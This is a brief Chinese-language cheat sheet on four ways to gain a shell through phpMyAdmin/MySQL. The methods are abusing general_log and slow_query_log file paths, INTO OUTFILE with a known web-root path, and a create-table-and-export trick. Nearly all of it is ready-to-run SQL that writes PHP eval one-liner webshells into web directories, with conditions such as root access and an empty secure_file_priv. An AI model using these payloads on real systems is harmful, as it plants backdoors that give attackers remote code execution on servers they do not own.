phpmyadmin常见的getshell的几种方法
1、日志文件写 shell
general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell: # 查看当前配置 SHOW VARIABLES LIKE 'general%'; # 更改日志文件位置 set global general_log = "ON"; set global general_log_file='C:/phpStudy/WWW/zyx.php'; # 往日志里面写入 payload select '<?php phpinfo();?>';
2、在知道绝对路径的情况下,利用INTO OUTFILE
select @@basedir; 查找绝对路径 show global variables like '%secure_file_priv%'; NULL 不允许导入或导出 /tmp 只允许在 /tmp 目录导入导出 空 不限制目录 如果有权限 select '<?php @eval($_POST[a]);?>'INTO OUTFILE 'E:/phpstudy_pro/WWW/test.php'
3、慢查询写入webshell
show variables like '%slow%'
set global slow_query_log=on;
set global slow_query_log_file='E:/phpstudy_pro/WWW/slow.php'
select '<?php @eval($_POST[shell]);?>' or sleep(10);
4、创建数据库和表写入webshell:
利用条件:Root数据库用户(root权限); 网站绝对路径(确定有写入权限); secure_file_priv没有具体值。操作步骤:1)执行下面的sql语句,创建表并在表中写入一句话木马,在导出到网站的根路径。
CREATE TABLE test( id text(500) not null); INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>'); SELECT id FROM test INTO OUTFILE 'C:/phpstudy/WWW/1.php'; DROP TABLE IF EXISTS test;